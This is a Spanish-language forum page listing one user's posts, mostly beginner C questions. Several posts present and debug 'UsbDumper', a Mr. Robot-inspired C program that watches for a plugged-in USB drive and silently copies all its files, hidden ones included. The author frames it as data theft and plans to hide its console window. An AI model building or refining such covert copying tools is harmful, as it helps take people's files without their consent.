Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Frijolito

#21
Hola, quería saber si se puede almacenar la salida de la función system() se que la función es un int y no guarda texto obviamente, pero si existe alguna forma de guardalo tal vez con otra función o algo, gracias de antemano
#22
Era por si existía una en español ya que seria mas fácil, en ingles esta bien pero una en español estaría mejor
#23
Solo tengo una pequeña duda, si es que existe esta pagina en español  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o una similar que contenga funciones de programación y los resultados que devuelve o con que tipos de datos se rellenan las dichas funciones. Gracias de antemano
#24
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias por compartir, eres el propietario de ese repo? No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si lo eres podrias por favor actualizar el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para poner los pasos de como usarlo?

;D

Yo soy el propietario de la repo y cambio el readme en un momento gracias no había pensado en poner los pasos a usar el programa <3
#25
Hola, los últimos días e estado haciendo un programa inspirado en la serie Mr Robot, en un episodio de la tercera temporada un miembro de la dark army conecta un pendrive en el PC de Eliot y este roba sus datos, Es algo muy básico pero igual lo quise hacer para aportar al algo. Existen 2 codigos para este programa uno para Linux y otro para Windows ambos en GitHub, aunque de momento solo tengo el ejecutable de windows voy a subir el de Linux pronto aunque si compilan debería ser suficiente.

Codigo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Les voy a dejar un ejemplo de como usarlo.


Código: php

UsbDumper.exe C:\Users\jm_ra\Documents\Copias

La ruta que escribí en la terminal es donde se va a guardar los datos obtenidos del pendrive.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Después de eso cada 1 segundo el programa va a preguntarse a si mismo si se a conectado un pendrive conectado y por efectos prácticos para mostrar que no a encontrado nada imprime ese mensaje en pantalla


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Cuando ya se a conectado un pendrive, hace una búsqueda recursiva entre los directorios, también obtiene datos de archivos escondidos, e imprime los nombres de cada archivos en la terminal y se cierra 
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y al entrar a la carpeta de introducimos al principio nos encontramos con los archivos, como ven tenia fotos, documentos de texto y un .DAT aunque también probé poniendo un exel y un word y funciona igual ya que abre el archivo de forma binaria en windows

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ademas de todo lo dicho me fije que podría funcionar en algunos teléfonos android viejos lo cuales no tienes que desbloquear el celular para acceder a los datos, pero solo en Linux.
También quería explicar que no e puesto la función de ocultar consola ya que quería hacer que la explicación sea mas fácil y que aun quedan algunos temas por pulir como la búsqueda recursiva aunque no sea tan terrible es mejorable y hacer el código mas legible ya que no tiene muchos comentarios y esta un poco desordenado pero obviando eso, esto seria todo.
#26
Ya lo solucione lo volví a escribir denuevo, aunque la verdad no se que hice distinto en la 3 ocasión, pero funciono voy a terminar para que detecte carpetas y también copie lo que encuentre en las carpetas y les comparto el código por si lo quieren usar o editar, gracias a todos lo que me ayudaron 
#27
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No se por que no te tira error el fopen, pero si

char ruta1[200] = "E:";

y

strcat(ruta1,file_name);

te queda E:nombredearchivo, sin la \\.
Con el \\ o sin el no me manda ni un error pero igual no copia nada asi que creo que el problema no esta por ese lado
#28
Código: c
#include <stdlib.h>
#include <stdio.h>
#include <dirent.h>
#include <sys/types.h>
#include <string.h>
#include <windows.h>

void Copia(char *archivo);

int main(){

DIR *dir ;

struct dirent *ent;
int i = 1;

while( free ){
dir = opendir("E:");
if(dir == NULL){
closedir(dir);
printf("  [!!] No se a encontrado el pendrive.\n" );
}else{
break;
}
Sleep(500);
}

while( (ent = readdir(dir)) != NULL ){
if( (strcmp(ent->d_name,".") != 0) && (strcmp(ent->d_name,"..") != 0) ){
printf(" %i-.%s \n",i ,ent->d_name);
i++;
Copia(ent->d_name);
}
}

closedir(dir);
return 0;
}

void Copia(char *file_name){

char ruta2[200] = "C:/Users/jm_ra/Documents/Copias/Copia-";
char ruta1[200] = "E:";

strcat(ruta2,file_name);
strcat(ruta1,file_name);

printf( "   %s\n", ruta1 );
printf( "   %s\n", ruta2 );

FILE *file1 = fopen( ruta1, "r" );
if(file1 == NULL){
printf("    [!!] No se encontro el archivo de lectura.\n" );
}

FILE *file2 = fopen( ruta2, "w" );
if(file2 == NULL){
printf("    [!!] No se encontro el archivo de Escritura\n" );
}

int c;
while((c = fgetc(file1)) != EOF){
fputc(c,file2);
}
memset(ruta1, 0 ,200);
memset(ruta2, 0 ,200);
}


Volví a escribir el código y ahora si pasa bien el nombre del archivo de hecho le puse la ruta en el archivo de lectura y si se supone que ahora lo abre pero igual no escribe en el archivo de salida.

Dejo foto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#29
Acaba de pasar algo curioso, puse un printf en el nombre del archivo (osea el ent->d_name) y al imprimirlo me pone esto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Como se ve en la imagen solo me pasa los 2 o 3 últimos caracteres del archivo. La verdad ahora si que no se que pasa. También elimine el archivo oculto del pendrive pero seguía igual, supongo por lo que explique antes
#30
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
puede ser que el error se genere al intentar copiar archivos con nombres que no sean soportados por la codificacion, o nombres de archivos ocultos?
Ademas porque la variable donde guardas los datos alojados no la cambias por una que contenga el path de windows ccomo ser %TEMP% o similar, para que no tengas problemas al usarlo en otras computaodras. saludos

Existe un archivo oculto en el pendrive pero no lo e podido borrar, aunque tampoco es como que me esforzara mucho en eso, voy a intentar borrarlo aunque considerando que otros pendrive tienen archivos ocultos existe una forma de identificarlos para saltarse su lectura? por ejemplo dentro de la estructura ent esta la variable d_type que puede ser DT_DIR cuando es una carpeta, existe algo parecido que diga que es un archivo oculto?
#31
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
El fopen espera la ruta completa o ruta relativa a donde lo estés ejecutando. Si no, en principio no te va a poder abrir nada. ¿Usaste doble \\ en la ruta?

Lo e intentado con en el \\ y el  / y mas de lo mismo me dice que el archivo no se puede abrir, la unica forma en que no me manda ese error es poniendo solo el nombre del archivo
#32
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
imprime lo que te está dando la variable por pantalla:

Código: php

ent->d_name


Me parece que aparte de lo del char, estás abriendo con el nombre del archivo y no con la ruta completa. Con lo que te genera el archivo de salida con el nombre correcto pero no puede leer y no te escribe nada en la salida del archivo.

Tambien lo intente con la ruta en este caso "E:\" pero cuando lo intento asi me dice que no puedu abrir abrir el archivo en esta parte del codigo
Código: c
if(file1 == NULL || file2 == NULL ){
printf( "[!!] No se pudo abir el archivo ");
exit(0);
}


E intenado cambiando de int a char poniendo las rutas y usando en vez del fgetc y fputc usando el fwrite y fread e igual no funciona
#33
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Simplemente cambia en la funcion copia ese:
Código: php

char c;

por un
Código: php

int c;

fgetc y fputc devuelve un int, si solo pasas chars funcionará, pero en cuanto haya algún 0x00 dejara de copiar.

Lo intente primero con un int, por lo que decias pero no funcionaba y lo cambie a char y seguida igual, voy a dejar foto de lo que pasa: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#34
Hola tengo un pequeno problema, estoy haciendo un programa que copie todos los archivos de un pendrive al ser conectado y funciona la deteccion pero al intentar copiar el archivo no funciona, se crea el archivo pero no recibe la información les dejo el codigo para que prueben.

Código: c
#include <stdlib.h>
#include <stdio.h>
#include <dirent.h>
#include <sys/types.h>
#include <string.h>
#include <windows.h>

void Copia(char *archivo, char *n_dir);

int main(){

DIR *dirE,*dirF,*dirG,*dirH, *dir ;

char *files;
char *n_dir;
struct dirent *ent;
int i = 1;

while( free ){
dirE = opendir("E:");
dirF = opendir("F:");
dirG = opendir("G:");
dirH = opendir("H:");
if(dirE != NULL){
n_dir = "E:/";
dir = dirE;
break;
}
if(dirF != NULL){
n_dir = "F:/";
dir = dirF;
break;
}
if(dirG != NULL){
n_dir = "G:/";
dir = dirG;
break;
}
if(dirH != NULL){
n_dir = "H:/";
dir = dirH;
break;
}
printf(" [!!] No se a encontrado el pendrive. \n" );
Sleep(500);
}

while( (ent = readdir(dir)) != NULL ){
if( (strcmp(ent->d_name,".")!=0) && (strcmp(ent->d_name,"..")!=0) ){
printf( "  %i-.%s \n",i ,ent->d_name );
i++;
files = ent->d_name;
Copia(files, n_dir);
}
}

return 0;
}

void Copia(char *archivo, char *n_dir){

char archivo2[200] = "C:/Users/jm_ra/Documents/Copias/Copia-";

strcat( archivo2,archivo );

FILE *file1 = fopen( archivo,"r" );
FILE *file2 = fopen( archivo2,"w" );

if(file1 == NULL || file2 == NULL ){
printf( "[!!] No se pudo abir el archivo ");
exit(0);
}

char c;

if(file1 == NULL || file2 == NULL){
printf("  [!!] No se pudo abrir el archivo\n");
}

while( (c = fgetc(file1)) != EOF ){
fputc(c,file2);
}

fclose(file1);
fclose(file2);

memset( archivo2, 0 ,200 );

}


Lo estoy programando en windows por si es importante de alguna manera. Gracias de antemano
#35
Hola se que hace poco publique algo sin relación con este tema, pero la cosa es que en la temporada 4 episodio 10 de  Mr.Robot Eliot hace un programa que cuando se conecta un pendrive en su notebook roba los datos de ese pendrive y pensaba intentar hacer algo parecido, pero no encuentro información para hacer eso en c/c++, solo encontré de como detectar un CD pero no uso cd y creo que ya nadie los usa así que si alguien tiene información del tema para hacerlo en c/c++ seria de mucha ayuda, gracias de antemano
#36
Uso cheat engine para ver el espacio de memoria donde se encuentra la variable y con c++ puedes automatizar el proceso, pero tengo problemas para encontrar las variables cuando se cierra el juego por eso estoy buscando algún juego que sea fácil de "hackear" para poder guiarme de apoco o tal vez no sencillo pero que este bien documentado el proceso , estoy usando el pokemon zafiro pero aun asi lo encuentro un poco complicado ya que no existe mucha documentación de ese tema del juego 
#37
Hola, últimamente estaba probando como pasarme variables entre distintos programas y me di cuenta que se pueden sobre escribir variables cambiando los bytes en un espacio de memoria y tengo entendido que asi se hackean los juegos o por lo menos los single player y quería saber si alguien mas experimentado en este tema me pueda guiar un poco o me recomiende juegos para hacer un hack simple, la verdad esto de pasarme variables lo hacia en windows pero si es posible que sea en linux seria mejor. Gracias de antemano.
#38
Tendrías que copiarla la carpeta x después pegarla donde quieras y después borrar x no me se los comandos pero ese seria el mecanismo creo
#39
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta esta en c pero es como lo mismo busca la libreria de sockets de c++ o algo asi y podrias hacer el server
#40
Logre instalar kali linux perfectamente pero ahora tengo otro problema (Se que son muchos), lo que pasa es que al iniciar en modo normal y seguro la pantalla se queda en negro con un guion parpadeando en la parte de arriba, por lo que lei es un problema con la grafica nvidia porque no funciona muy bien en linux, pero lo que no encontré es una solución si alguien sabe como solucionar este ultimo problema estaría agradecido